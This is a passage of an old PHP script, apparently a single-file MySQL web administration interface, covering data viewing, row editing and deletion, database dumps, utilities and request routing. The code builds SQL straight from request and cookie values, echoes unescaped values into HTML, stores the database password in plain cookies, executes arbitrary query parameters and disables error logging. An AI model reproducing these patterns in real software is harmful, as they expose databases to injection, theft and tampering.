  1193. $errMsg = mysql_error();
  1194.  
  1195.  
  1196.  
  1197. viewSchema();
  1198.  
  1199. }
  1200.  
  1201.  
  1202.  
  1203. function viewData( $queryStr ) {
  1204.  
  1205. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  1206.  
  1207.  
  1208.  
  1209. echo "<h1>Data in Table</h1>\n";
  1210.  
  1211. if( $tablename != "" )
  1212.  
  1213. echo "<p class=location>$dbname > $tablename</p>\n";
  1214.  
  1215. else
  1216.  
  1217. echo "<p class=location>$dbname</p>\n";
  1218.  
  1219.  
  1220.  
  1221. $queryStr = stripslashes( $queryStr );
  1222.  
  1223. if( $queryStr == "" ) {
  1224.  
  1225. $queryStr = "SELECT * FROM $tablename";
  1226.  
  1227. if( $orderby != "" )
  1228.  
  1229. $queryStr .= " ORDER BY $orderby";
  1230.  
  1231. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  1232.  
  1233. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  1234.  
  1235. }
  1236.  
  1237.  
  1238.  
  1239. $pResult = mysql_db_query( $dbname, $queryStr );
  1240.  
  1241. $fieldt = mysql_fetch_field($pResult);
  1242.  
  1243. $tablename = $fieldt->table;
  1244.  
  1245. $errMsg = mysql_error();
  1246.  
  1247.  
  1248.  
  1249. $GLOBALS[queryStr] = $queryStr;
  1250.  
  1251.  
  1252.  
  1253. if( $pResult == false ) {
  1254.  
  1255. echoQueryResult();
  1256.  
  1257. return;
  1258.  
  1259. }
  1260.  
  1261. if( $pResult == 1 ) {
  1262.  
  1263. $errMsg = "Success";
  1264.  
  1265. echoQueryResult();
  1266.  
  1267. return;
  1268.  
  1269. }
  1270.  
  1271.  
  1272.  
  1273. echo "<hr>\n";
  1274.  
  1275.  
  1276.  
  1277. $row = mysql_num_rows( $pResult );
  1278.  
  1279. $col = mysql_num_fields( $pResult );
  1280.  
  1281.  
  1282.  
  1283. if( $row == 0 ) {
  1284.  
  1285. echo "No Data Exist!";
  1286.  
  1287. return;
  1288.  
  1289. }
  1290.  
  1291.  
  1292.  
  1293. if( $rowperpage == "" ) $rowperpage = 30;
  1294.  
  1295. if( $page == "" ) $page = 0;
  1296.  
  1297. else $page--;
  1298.  
  1299. mysql_data_seek( $pResult, $page * $rowperpage );
  1300.  
  1301.  
  1302.  
  1303. echo "<table cellspacing=1 cellpadding=2>\n";
  1304.  
  1305. echo "<tr>\n";
  1306.  
  1307. for( $i = 0; $i < $col; $i++ ) {
  1308.  
  1309. $field = mysql_fetch_field( $pResult, $i );
  1310.  
  1311. echo "<th>";
  1312.  
  1313. if($action == "viewData")
  1314.  
  1315. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  1316.  
  1317. else
  1318.  
  1319. echo "<font style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
  1320.  
  1321. echo "</th>\n";
  1322.  
  1323. }
  1324.  
  1325. echo "<th colspan=2>Action</th>\n";
  1326.  
  1327. echo "</tr>\n";
  1328.  
  1329.  
  1330.  
  1331. for( $i = 0; $i < $rowperpage; $i++ ) {
  1332.  
  1333. $rowArray = mysql_fetch_row( $pResult );
  1334.  
  1335. if( $rowArray == false ) break;
  1336.  
  1337. echo "<tr>\n";
  1338.  
  1339. $key = "";
  1340.  
  1341. for( $j = 0; $j < $col; $j++ ) {
  1342.  
  1343. $data = $rowArray[$j];
  1344.  
  1345.  
  1346.  
  1347. $field = mysql_fetch_field( $pResult, $j );
  1348.  
  1349. if( $field->primary_key == 1 )
  1350.  
  1351. $key .= "&" . $field->name . "=" . $data;
  1352.  
  1353.  
  1354.  
  1355. if( strlen( $data ) > 30 )
  1356.  
  1357. $data = substr( $data, 0, 30 ) . "...";
  1358.  
  1359. $data = htmlspecialchars( $data );
  1360.  
  1361. echo "<td>\n";
  1362.  
  1363. echo "$data\n";
  1364.  
  1365. echo "</td>\n";
  1366.  
  1367. }
  1368.  
  1369.  
  1370.  
  1371. if( $key == "" )
  1372.  
  1373. echo "<td colspan=2>no Key</td>\n";
  1374.  
  1375. else {
  1376.  
  1377. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  1378.  
  1379. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  1380.  
  1381. }
  1382.  
  1383. echo "</tr>\n";
  1384.  
  1385. }
  1386.  
  1387. echo "</table>\n";
  1388.  
  1389.  
  1390.  
  1391. echo "<font size=2>\n";
  1392.  
  1393. if($action == "viewData")
  1394.  
  1395. echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
  1396.  
  1397. else
  1398.  
  1399. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  1400.  
  1401. echo "<font color=green>\n";
  1402.  
  1403. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  1404.  
  1405. echo "</font>\n";
  1406.  
  1407. echo " | ";
  1408.  
  1409. if( $page > 0 ) {
  1410.  
  1411. if($action == "viewData")
  1412.  
  1413. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  1414.  
  1415. else
  1416.  
  1417. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  1418.  
  1419. if( $orderby != "" && $action == "viewData")
  1420.  
  1421. echo "&orderby=$orderby";
  1422.  
  1423. echo "'>Prev</a>\n";
  1424.  
  1425. } else
  1426.  
  1427. echo "Prev";
  1428.  
  1429. echo " | ";
  1430.  
  1431. if( $page < ($row/$rowperpage)-1 ) {
  1432.  
  1433. if($action == "viewData")
  1434.  
  1435. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
  1436.  
  1437. else
  1438.  
  1439. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  1440.  
  1441. if( $orderby != "" && $action == "viewData")
  1442.  
  1443. echo "&orderby=$orderby";
  1444.  
  1445. echo "'>Next</a>\n";
  1446.  
  1447. } else
  1448.  
  1449. echo "Next";
  1450.  
  1451. echo " | ";
  1452.  
  1453. if( $row > $rowperpage ) {
  1454.  
  1455. echo "<input type=text size=4 name=page>\n";
  1456.  
  1457. echo "<input type=submit value='Go'>\n";
  1458.  
  1459. }
  1460.  
  1461. echo "</form>\n";
  1462.  
  1463. echo "</font>\n";
  1464.  
  1465. }
  1466.  
  1467.  
  1468.  
  1469. function manageData( $cmd ) {
  1470.  
  1471. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  1472.  
  1473.  
  1474.  
  1475. if( $cmd == "add" )
  1476.  
  1477. echo "<h1>Add Data</h1>\n";
  1478.  
  1479. else if( $cmd == "edit" ) {
  1480.  
  1481. echo "<h1>Edit Data</h1>\n";
  1482.  
  1483. $pResult = mysql_list_fields( $dbname, $tablename );
  1484.  
  1485. $num = mysql_num_fields( $pResult );
  1486.  
  1487.  
  1488.  
  1489. $key = "";
  1490.  
  1491. for( $i = 0; $i < $num; $i++ ) {
  1492.  
  1493. $field = mysql_fetch_field( $pResult, $i );
  1494.  
  1495. if( $field->primary_key == 1 )
  1496.  
  1497. if( $field->numeric == 1 )
  1498.  
  1499. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  1500.  
  1501. else
  1502.  
  1503. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  1504.  
  1505. }
  1506.  
  1507. $key = substr( $key, 0, strlen($key)-4 );
  1508.  
  1509.  
  1510.  
  1511. mysql_select_db( $dbname, $mysqlHandle );
  1512.  
  1513. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  1514.  
  1515. $data = mysql_fetch_array( $pResult );
  1516.  
  1517. }
  1518.  
  1519.  
  1520.  
  1521. echo "<p class=location>$dbname > $tablename</p>\n";
  1522.  
  1523.  
  1524.  
  1525. echo "<form action='$PHP_SELF' method=post>\n";
  1526.  
  1527. if( $cmd == "add" )
  1528.  
  1529. echo "<input type=hidden name=action value=addData_submit>\n";
  1530.  
  1531. else if( $cmd == "edit" )
  1532.  
  1533. echo "<input type=hidden name=action value=editData_submit>\n";
  1534.  
  1535. echo "<input type=hidden name=dbname value=$dbname>\n";
  1536.  
  1537. echo "<input type=hidden name=tablename value=$tablename>\n";
  1538.  
  1539. echo "<table cellspacing=1 cellpadding=2>\n";
  1540.  
  1541. echo "<tr>\n";
  1542.  
  1543. echo "<th>Name</th>\n";
  1544.  
  1545. echo "<th>Type</th>\n";
  1546.  
  1547. echo "<th>Function</th>\n";
  1548.  
  1549. echo "<th>Data</th>\n";
  1550.  
  1551. echo "</tr>\n";
  1552.  
  1553.  
  1554.  
  1555. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  1556.  
  1557. $num = mysql_num_rows( $pResult );
  1558.  
  1559.  
  1560.  
  1561. $pResultLen = mysql_list_fields( $dbname, $tablename );
  1562.  
  1563.  
  1564.  
  1565. for( $i = 0; $i < $num; $i++ ) {
  1566.  
  1567. $field = mysql_fetch_array( $pResult );
  1568.  
  1569. $fieldname = $field["Field"];
  1570.  
  1571. $fieldtype = $field["Type"];
  1572.  
  1573. $len = mysql_field_len( $pResultLen, $i );
  1574.  
  1575.  
  1576.  
  1577. echo "<tr>";
  1578.  
  1579. echo "<td>$fieldname</td>";
  1580.  
  1581. echo "<td>".$field["Type"]."</td>";
  1582.  
  1583. echo "<td>\n";
  1584.  
  1585. echo "<select name=${fieldname}_function>\n";
  1586.  
  1587. echo "<option>\n";
  1588.  
  1589. echo "<option>ASCII\n";
  1590.  
  1591. echo "<option>CHAR\n";
  1592.  
  1593. echo "<option>SOUNDEX\n";
  1594.  
  1595. echo "<option>CURDATE\n";
  1596.  
  1597. echo "<option>CURTIME\n";
  1598.  
  1599. echo "<option>FROM_DAYS\n";
  1600.  
  1601. echo "<option>FROM_UNIXTIME\n";
  1602.  
  1603. echo "<option>NOW\n";
  1604.  
  1605. echo "<option>PASSWORD\n";
  1606.  
  1607. echo "<option>PERIOD_ADD\n";
  1608.  
  1609. echo "<option>PERIOD_DIFF\n";
  1610.  
  1611. echo "<option>TO_DAYS\n";
  1612.  
  1613. echo "<option>USER\n";
  1614.  
  1615. echo "<option>WEEKDAY\n";
  1616.  
  1617. echo "<option>RAND\n";
  1618.  
  1619. echo "</select>\n";
  1620.  
  1621. echo "</td>\n";
  1622.  
  1623. $value = htmlspecialchars($data[$i]);
  1624.  
  1625. if( $cmd == "add" ) {
  1626.  
  1627. $type = strtok( $fieldtype, " (,)\n" );
  1628.  
  1629. if( $type == "enum" || $type == "set" ) {
  1630.  
  1631. echo "<td>\n";
  1632.  
  1633. if( $type == "enum" )
  1634.  
  1635. echo "<select name=$fieldname>\n";
  1636.  
  1637. else if( $type == "set" )
  1638.  
  1639. echo "<select name=$fieldname size=4 multiple>\n";
  1640.  
  1641. while( $str = strtok( "'" ) ) {
  1642.  
  1643. echo "<option>$str\n";
  1644.  
  1645. strtok( "'" );
  1646.  
  1647. }
  1648.  
  1649. echo "</select>\n";
  1650.  
  1651. echo "</td>\n";
  1652.  
  1653. } else {
  1654.  
  1655. if( $len < 40 )
  1656.  
  1657. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  1658.  
  1659. else
  1660.  
  1661. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  1662.  
  1663. }
  1664.  
  1665. } else if( $cmd == "edit" ) {
  1666.  
  1667. $type = strtok( $fieldtype, " (,)\n" );
  1668.  
  1669. if( $type == "enum" || $type == "set" ) {
  1670.  
  1671. echo "<td>\n";
  1672.  
  1673. if( $type == "enum" )
  1674.  
  1675. echo "<select name=$fieldname>\n";
  1676.  
  1677. else if( $type == "set" )
  1678.  
  1679. echo "<select name=$fieldname size=4 multiple>\n";
  1680.  
  1681. while( $str = strtok( "'" ) ) {
  1682.  
  1683. if( $value == $str )
  1684.  
  1685. echo "<option selected>$str\n";
  1686.  
  1687. else
  1688.  
  1689. echo "<option>$str\n";
  1690.  
  1691. strtok( "'" );
  1692.  
  1693. }
  1694.  
  1695. echo "</select>\n";
  1696.  
  1697. echo "</td>\n";
  1698.  
  1699. } else {
  1700.  
  1701. if( $len < 40 )
  1702.  
  1703. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  1704.  
  1705. else
  1706.  
  1707. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  1708.  
  1709. }
  1710.  
  1711. }
  1712.  
  1713. echo "</tr>";
  1714.  
  1715. }
  1716.  
  1717. echo "</table><p>\n";
  1718.  
  1719. if( $cmd == "add" )
  1720.  
  1721. echo "<input type=submit value='Add Data'>\n";
  1722.  
  1723. else if( $cmd == "edit" )
  1724.  
  1725. echo "<input type=submit value='Edit Data'>\n";
  1726.  
  1727. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  1728.  
  1729. echo "</form>\n";
  1730.  
  1731. }
  1732.  
  1733.  
  1734.  
  1735. function manageData_submit( $cmd ) {
  1736.  
  1737. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1738.  
  1739.  
  1740.  
  1741. $pResult = mysql_list_fields( $dbname, $tablename );
  1742.  
  1743. $num = mysql_num_fields( $pResult );
  1744.  
  1745.  
  1746.  
  1747. mysql_select_db( $dbname, $mysqlHandle );
  1748.  
  1749. if( $cmd == "add" )
  1750.  
  1751. $queryStr = "INSERT INTO $tablename VALUES (";
  1752.  
  1753. else if( $cmd == "edit" )
  1754.  
  1755. $queryStr = "REPLACE INTO $tablename VALUES (";
  1756.  
  1757. for( $i = 0; $i < $num-1; $i++ ) {
  1758.  
  1759. $field = mysql_fetch_field( $pResult );
  1760.  
  1761. $func = $GLOBALS[$field->name."_function"];
  1762.  
  1763. if( $func != "" )
  1764.  
  1765. $queryStr .= " $func(";
  1766.  
  1767. if( $field->numeric == 1 ) {
  1768.  
  1769. $queryStr .= $GLOBALS[$field->name];
  1770.  
  1771. if( $func != "" )
  1772.  
  1773. $queryStr .= "),";
  1774.  
  1775. else
  1776.  
  1777. $queryStr .= ",";
  1778.  
  1779. } else {
  1780.  
  1781. $queryStr .= "'" . $GLOBALS[$field->name];
  1782.  
  1783. if( $func != "" )
  1784.  
  1785. $queryStr .= "'),";
  1786.  
  1787. else
  1788.  
  1789. $queryStr .= "',";
  1790.  
  1791. }
  1792.  
  1793. }
  1794.  
  1795. $field = mysql_fetch_field( $pResult );
  1796.  
  1797. if( $field->numeric == 1 )
  1798.  
  1799. $queryStr .= $GLOBALS[$field->name] . ")";
  1800.  
  1801. else
  1802.  
  1803. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  1804.  
  1805.  
  1806.  
  1807. mysql_query( $queryStr , $mysqlHandle );
  1808.  
  1809. $errMsg = mysql_error();
  1810.  
  1811.  
  1812.  
  1813. viewData( "" );
  1814.  
  1815. }
  1816.  
  1817.  
  1818.  
  1819. function deleteData() {
  1820.  
  1821. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1822.  
  1823.  
  1824.  
  1825. $pResult = mysql_list_fields( $dbname, $tablename );
  1826.  
  1827. $num = mysql_num_fields( $pResult );
  1828.  
  1829.  
  1830.  
  1831. $key = "";
  1832.  
  1833. for( $i = 0; $i < $num; $i++ ) {
  1834.  
  1835. $field = mysql_fetch_field( $pResult, $i );
  1836.  
  1837. if( $field->primary_key == 1 )
  1838.  
  1839. if( $field->numeric == 1 )
  1840.  
  1841. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  1842.  
  1843. else
  1844.  
  1845. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  1846.  
  1847. }
  1848.  
  1849. $key = substr( $key, 0, strlen($key)-4 );
  1850.  
  1851.  
  1852.  
  1853. mysql_select_db( $dbname, $mysqlHandle );
  1854.  
  1855. $queryStr = "DELETE FROM $tablename WHERE $key";
  1856.  
  1857. mysql_query( $queryStr, $mysqlHandle );
  1858.  
  1859. $errMsg = mysql_error();
  1860.  
  1861.  
  1862.  
  1863. viewData( "" );
  1864.  
  1865. }
  1866.  
  1867.  
  1868.  
  1869. function fetch_table_dump_sql($table)
  1870.  
  1871. {
  1872.  
  1873. global $mysqlHandle,$dbname;
  1874.  
  1875.  
  1876.  
  1877. mysql_select_db( $dbname, $mysqlHandle );
  1878.  
  1879. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  1880.  
  1881. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  1882.  
  1883. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  1884.  
  1885.  
  1886.  
  1887. echo $tabledump;
  1888.  
  1889.  
  1890.  
  1891. // get data
  1892.  
  1893. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  1894.  
  1895. $numfields=mysql_num_fields($rows);
  1896.  
  1897. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  1898.  
  1899. {
  1900.  
  1901. $tabledump = "INSERT INTO $table VALUES(";
  1902.  
  1903.  
  1904.  
  1905. $fieldcounter = -1;
  1906.  
  1907. $firstfield = 1;
  1908.  
  1909. // get each field's data
  1910.  
  1911. while (++$fieldcounter < $numfields)
  1912.  
  1913. {
  1914.  
  1915. if (!$firstfield)
  1916.  
  1917. {
  1918.  
  1919. $tabledump .= ', ';
  1920.  
  1921. }
  1922.  
  1923. else
  1924.  
  1925. {
  1926.  
  1927. $firstfield = 0;
  1928.  
  1929. }
  1930.  
  1931.  
  1932.  
  1933. if (!isset($row["$fieldcounter"]))
  1934.  
  1935. {
  1936.  
  1937. $tabledump .= 'NULL';
  1938.  
  1939. }
  1940.  
  1941. else
  1942.  
  1943. {
  1944.  
  1945. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  1946.  
  1947. }
  1948.  
  1949. }
  1950.  
  1951.  
  1952.  
  1953. $tabledump .= ");\n";
  1954.  
  1955.  
  1956.  
  1957. echo $tabledump;
  1958.  
  1959.  
  1960.  
  1961. }
  1962.  
  1963. @mysql_free_result($rows);
  1964.  
  1965. }
  1966.  
  1967.  
  1968.  
  1969. function dump() {
  1970.  
  1971. global $mysqlHandle, $action, $dbname, $tablename;
  1972.  
  1973.  
  1974.  
  1975. if( $action == "dumpTable" ){
  1976.  
  1977.  
  1978.  
  1979. header("Content-disposition: filename=$tablename.sql");
  1980.  
  1981. header('Content-type: unknown/unknown');
  1982.  
  1983. fetch_table_dump_sql($tablename);
  1984.  
  1985. echo "\n\n\n";
  1986.  
  1987. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  1988.  
  1989. exit;
  1990.  
  1991.  
  1992.  
  1993. }else{
  1994.  
  1995. header("Content-disposition: filename=$dbname.sql");
  1996.  
  1997. header('Content-type: unknown/unknown');
  1998.  
  1999.  
  2000.  
  2001. mysql_select_db( $dbname, $mysqlHandle );
  2002.  
  2003. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  2004.  
  2005. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  2006.  
  2007. {
  2008.  
  2009. fetch_table_dump_sql($row[0]);
  2010.  
  2011. echo "\n\n\n";
  2012.  
  2013. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  2014.  
  2015. echo "\n\n\n";
  2016.  
  2017. }
  2018.  
  2019. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  2020.  
  2021. exit;
  2022.  
  2023.  
  2024.  
  2025. }
  2026.  
  2027.  
  2028.  
  2029. }
  2030.  
  2031.  
  2032.  
  2033. function utils() {
  2034.  
  2035. global $PHP_SELF, $command;
  2036.  
  2037. echo "<h1>Utilities</h1>\n";
  2038.  
  2039. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  2040.  
  2041. echo "<hr>\n";
  2042.  
  2043. echo "Show\n";
  2044.  
  2045. echo "<ul>\n";
  2046.  
  2047. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  2048.  
  2049. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  2050.  
  2051. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  2052.  
  2053. echo "</ul>\n";
  2054.  
  2055. echo "Flush\n";
  2056.  
  2057. echo "<ul>\n";
  2058.  
  2059. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  2060.  
  2061. if( $command == "flush_hosts" ) {
  2062.  
  2063. if( mysql_query( "Flush hosts" ) != false )
  2064.  
  2065. echo "<font size=2 color=red>- Success</font>";
  2066.  
  2067. else
  2068.  
  2069. echo "<font size=2 color=red>- Fail</font>";
  2070.  
  2071. }
  2072.  
  2073. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  2074.  
  2075. if( $command == "flush_logs" ) {
  2076.  
  2077. if( mysql_query( "Flush logs" ) != false )
  2078.  
  2079. echo "<font size=2 color=red>- Success</font>";
  2080.  
  2081. else
  2082.  
  2083. echo "<font size=2 color=red>- Fail</font>";
  2084.  
  2085. }
  2086.  
  2087. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  2088.  
  2089. if( $command == "flush_privileges" ) {
  2090.  
  2091. if( mysql_query( "Flush privileges" ) != false )
  2092.  
  2093. echo "<font size=2 color=red>- Success</font>";
  2094.  
  2095. else
  2096.  
  2097. echo "<font size=2 color=red>- Fail</font>";
  2098.  
  2099. }
  2100.  
  2101. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  2102.  
  2103. if( $command == "flush_tables" ) {
  2104.  
  2105. if( mysql_query( "Flush tables" ) != false )
  2106.  
  2107. echo "<font size=2 color=red>- Success</font>";
  2108.  
  2109. else
  2110.  
  2111. echo "<font size=2 color=red>- Fail</font>";
  2112.  
  2113. }
  2114.  
  2115. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  2116.  
  2117. if( $command == "flush_status" ) {
  2118.  
  2119. if( mysql_query( "Flush status" ) != false )
  2120.  
  2121. echo "<font size=2 color=red>- Success</font>";
  2122.  
  2123. else
  2124.  
  2125. echo "<font size=2 color=red>- Fail</font>";
  2126.  
  2127. }
  2128.  
  2129. echo "</ul>\n";
  2130.  
  2131. } else {
  2132.  
  2133. $queryStr = ereg_replace( "_", " ", $command );
  2134.  
  2135. $pResult = mysql_query( $queryStr );
  2136.  
  2137. if( $pResult == false ) {
  2138.  
  2139. echo "Fail";
  2140.  
  2141. return;
  2142.  
  2143. }
  2144.  
  2145. $col = mysql_num_fields( $pResult );
  2146.  
  2147.  
  2148.  
  2149. echo "<p class=location>$queryStr</p>\n";
  2150.  
  2151. echo "<hr>\n";
  2152.  
  2153.  
  2154.  
  2155. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  2156.  
  2157. echo "<tr>\n";
  2158.  
  2159. for( $i = 0; $i < $col; $i++ ) {
  2160.  
  2161. $field = mysql_fetch_field( $pResult, $i );
  2162.  
  2163. echo "<th>".$field->name."</th>\n";
  2164.  
  2165. }
  2166.  
  2167. echo "</tr>\n";
  2168.  
  2169.  
  2170.  
  2171. while( 1 ) {
  2172.  
  2173. $rowArray = mysql_fetch_row( $pResult );
  2174.  
  2175. if( $rowArray == false ) break;
  2176.  
  2177. echo "<tr>\n";
  2178.  
  2179. for( $j = 0; $j < $col; $j++ )
  2180.  
  2181. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  2182.  
  2183. echo "</tr>\n";
  2184.  
  2185. }
  2186.  
  2187. echo "</table>\n";
  2188.  
  2189. }
  2190.  
  2191. }
  2192.  
  2193.  
  2194.  
  2195. function header_html() {
  2196.  
  2197. global $PHP_SELF;
  2198.  
  2199.  
  2200.  
  2201. echo '
  2202.  
  2203. <html>
  2204.  
  2205. <head>
  2206.  
  2207. <title>MySQL Interface</title>
  2208.  
  2209. <style type="text/css">
  2210.  
  2211. <!--
  2212.  
  2213. p.location {
  2214.  
  2215. color: #11bb33;
  2216.  
  2217. font-size: small;
  2218.  
  2219. }
  2220.  
  2221. h1 {
  2222.  
  2223. color: #A4A260;
  2224.  
  2225. }
  2226.  
  2227. th {
  2228.  
  2229. background-color: #BDBE42;
  2230.  
  2231. color: #FFFFFF;
  2232.  
  2233. font-size: x-small;
  2234.  
  2235. }
  2236.  
  2237. td {
  2238.  
  2239. background-color: #DEDFA5;
  2240.  
  2241. font-size: x-small;
  2242.  
  2243. }
  2244.  
  2245. form {
  2246.  
  2247. margin-top: 0;
  2248.  
  2249. margin-bottom: 0;
  2250.  
  2251. }
  2252.  
  2253. a {
  2254.  
  2255. text-decoration:none;
  2256.  
  2257. color: #848200;
  2258.  
  2259. font-size:x-small;
  2260.  
  2261. }
  2262.  
  2263. a:link {
  2264.  
  2265. }
  2266.  
  2267. a:hover {
  2268.  
  2269. background-color:#EEEFD5;
  2270.  
  2271. color:#646200;
  2272.  
  2273. text-decoration:none
  2274.  
  2275. }
  2276.  
  2277. //-->
  2278.  
  2279. </style>
  2280.  
  2281. </head>
  2282.  
  2283. <body>
  2284.  
  2285. ';
  2286.  
  2287. }
  2288.  
  2289.  
  2290.  
  2291. function footer_html() {
  2292.  
  2293. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  2294.  
  2295.  
  2296.  
  2297. echo "<hr>\n";
  2298.  
  2299. echo "<font size=2 color=blue>[$USERNAME]</font> - \n";
  2300.  
  2301.  
  2302.  
  2303. echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
  2304.  
  2305. if( $tablename != "" )
  2306.  
  2307. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  2308.  
  2309. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  2310.  
  2311. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  2312.  
  2313. echo "</font>\n";
  2314.  
  2315. echo "</body>\n";
  2316.  
  2317. echo "</html>\n";
  2318.  
  2319. }
  2320.  
  2321.  
  2322.  
  2323.  
  2324.  
  2325.  
  2326.  
  2327.  
  2328.  
  2329. //------------- MAIN ------------- //
  2330.  
  2331. error_reporting(0);
  2332.  
  2333. ini_set ('display_errors', 0);
  2334.  
  2335. ini_set ('log_errors', 0);
  2336.  
  2337.  
  2338.  
  2339. if( $action == "logon" || $action == "" || $action == "logout" )
  2340.  
  2341. logon();
  2342.  
  2343. else if( $action == "logon_submit" )
  2344.  
  2345. logon_submit();
  2346.  
  2347. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  2348.  
  2349. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  2350.  
  2351. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  2352.  
  2353. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  2354.  
  2355. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  2356.  
  2357. }
  2358.  
  2359. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  2360.  
  2361. dump();
  2362.  
  2363. } else {
  2364.  
  2365. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  2366.  
  2367. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  2368.  
  2369. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  2370.  
  2371. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  2372.  
  2373. }
  2374.  
  2375. echo "<!--";
  2376.  
  2377. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  2378.  
  2379. echo "-->";
  2380.  
  2381.  
  2382.  
  2383. if( $mysqlHandle == false ) {
  2384.  
  2385. echo "<html>\n";
  2386.  
  2387. echo "<head>\n";
  2388.  
  2389. echo "<title>MySQL Interface</title>\n";
  2390.  
  2391. echo "</head>\n";
  2392.  
  2393. echo "<body>\n";
  2394.  
  2395. echo "<table width=100% height=100%><tr><td><center>\n";
  2396.  
  2397. echo "<h1>Wrong Password!</h1>\n";
  2398.  
  2399. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  2400.  
  2401. echo "</center></td></tr></table>\n";
  2402.  
  2403. echo "</body>\n";
  2404.  
  2405. echo "</html>\n";
  2406.  
  2407. } else {
  2408.  
  2409. header_html();
  2410.  
  2411. if( $action == "listDBs" )
  2412.  
  2413. listDatabases();
  2414.  
  2415. else if( $action == "createDB" )
  2416.  
  2417. createDatabase();
  2418.  
  2419. else if( $action == "dropDB" )
  2420.  
  2421. dropDatabase();
  2422.  
  2423. else if( $action == "listTables" )
  2424.  
  2425. listTables();
  2426.  
  2427. else if( $action == "createTable" )
  2428.  
  2429. createTable();
  2430.  
  2431. else if( $action == "dropTable" )
  2432.  
  2433. dropTable();
  2434.  
  2435. else if( $action == "viewSchema" )
  2436.  
  2437. viewSchema();
  2438.  
  2439. else if( $action == "query" )
  2440.  
  2441. viewData( $queryStr );
  2442.  
  2443. else if( $action == "addField" )
  2444.  
  2445. manageField( "add" );
  2446.  
  2447. else if( $action == "addField_submit" )
  2448.  
